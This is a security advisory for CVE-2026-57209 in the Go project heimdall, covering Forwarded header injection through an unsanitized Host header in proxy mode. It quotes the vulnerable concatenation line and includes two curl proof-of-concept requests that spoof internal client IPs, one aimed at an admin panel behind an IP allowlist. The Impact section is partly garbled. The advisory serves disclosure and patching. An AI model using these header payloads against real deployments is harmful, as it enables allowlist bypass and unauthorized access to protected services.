github.com/dadrus/heimdall
Affected
- introduced
0, fixed0.17.17(semver)
Fixed versions
0.17.17
Fix
- Fixed version
0.17.17go get github.com/dadrus/[email protected]
Advisory
Also known as: CVE-2026-57209, GO-2026-5125
Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode
Summary
When Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services.
Vulnerable Code
File: `proxy/request_context.go` (line 201)
entry := "for=" + clientIP + ";host=" + in.Host + ";proto=" + proto
Go's net/http allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.
PoC
# Inject a spoofed IP into the Forwarded header
curl -s -H "Host: evil.com,for=127.0.0.1" \
"http://TARGET:PORT/protected-resource"
This produces the following Forwarded header sent to the upstream service:
Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http
Upstream services that parse the Forwarded header according to RFC 7239 will see two entries. If the service trusts the last or any for= value, the attacker successfully spoofs 127.0.0.1 as the client IP.
# More targeted attack: spoof to bypass IP allowlist
curl -s -H "Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1" \
"http://TARGET:PORT/admin-panel"
Impact
for= value, believing the request originates from an internal/trusted IPForwarded header.High Basis: The source's own band: HIGH
0, fixed 0.17.17 (semver)0.17.17
0.17.17go get github.com/dadrus/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0